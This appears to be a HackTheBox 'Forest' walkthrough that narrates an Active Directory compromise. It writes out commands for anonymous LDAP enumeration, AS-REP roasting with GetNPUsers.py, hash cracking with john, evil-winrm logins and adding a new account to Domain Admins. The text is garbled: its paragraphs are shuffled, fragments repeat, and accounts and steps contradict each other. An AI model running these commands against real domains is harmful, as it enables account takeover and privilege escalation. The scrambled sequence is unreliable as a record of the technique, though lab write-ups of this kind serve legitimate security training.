Forest Hackthebox Walkthrough Review

Instead, you enumerate using BloodHound . You upload SharpHound via SMB (since you can write to a share) or run it remotely? No execution. You fall back to Python's bloodhound.py :

No SMB anonymous login. No null session on LDAP… yet. But Kerberos is a talkative protocol. You note the hostname: FOREST.htb.local . You add the domain to your /etc/hosts :

net user hacker Hacker123! /add /domain net group "Domain Admins" hacker /add /domain Then you use evil-winrm again with the new user:

$krb5asrep$svc-alfresco@htb.local:... Bingo. No pre-auth required. You copy the hash to a file and feed it to john : forest hackthebox walkthrough

john --wordlist=/usr/share/wordlists/rockyou.txt svc-alfresco.hash Seconds later—a crack. The password: s3rvice .

evil-winrm -i 10.10.10.161 -u sebastian -p 'P@ssw0rd123!' And you’re in. A Windows PowerShell console on FOREST . The user flag is waiting in C:\Users\sebastian\Desktop\user.txt . From here, you need domain admin. sebastian isn’t one yet, but he has interesting group memberships. You run whoami /groups and see he is in Remote Management Users (so WinRM works) and Account Operators .

ldapsearch -H ldap://10.10.10.161 -x -b "DC=htb,DC=local" The output is a firehose of objects—users, groups, computers. You grep for cn=users and find something delicious: . You filter for userAccountControl values that don’t require Kerberos pre-authentication. Instead, you enumerate using BloodHound

echo "10.10.10.161 forest.htb.local htb.local" >> /etc/hosts First, you try enum4linux . It's polite but fruitless—null sessions are disabled. So you turn to the sharpest knife in the AD drawer: ldapsearch .

Target IP: 10.10.10.161 Your Machine: 10.10.14.x Phase 1: The Lay of the Land You fire up nmap like a cartographer charting unknown territory. The scan breathes life into the silent IP.

ldapsearch -H ldap://10.10.10.161 -x -s base namingcontexts It works. The server hands you the root DSE: DC=htb,DC=local . Now you dig. You fall back to Python's bloodhound

GetNPUsers.py htb.local/ -dc-ip 10.10.10.161 -no-pass -usersfile users.txt Where users.txt is every user you scraped from LDAP. The script runs… and a few seconds later, a hash drops:

evil-winrm -i 10.10.10.161 -u hacker -p 'Hacker123!' And you’re at C:\Users\Administrator\Desktop\root.txt . The final flag. You log out, clear your hashes, and take a breath. The Forest machine wasn't about kernel exploits or buffer overflows. It was about patience—listening to LDAP, cracking a service account, climbing the group hierarchy, and resetting a single password to reach the crown.

After a few blind attempts, you remember a trick. Sometimes, you can bind anonymously to LDAP without credentials. You craft:

You have valid credentials: svc-alfresco:s3rvice . Now you’re in the forest, but not yet to the throne. You try evil-winrm :

The forest is dark, but the path is always there. You just have to know which trees to knock on.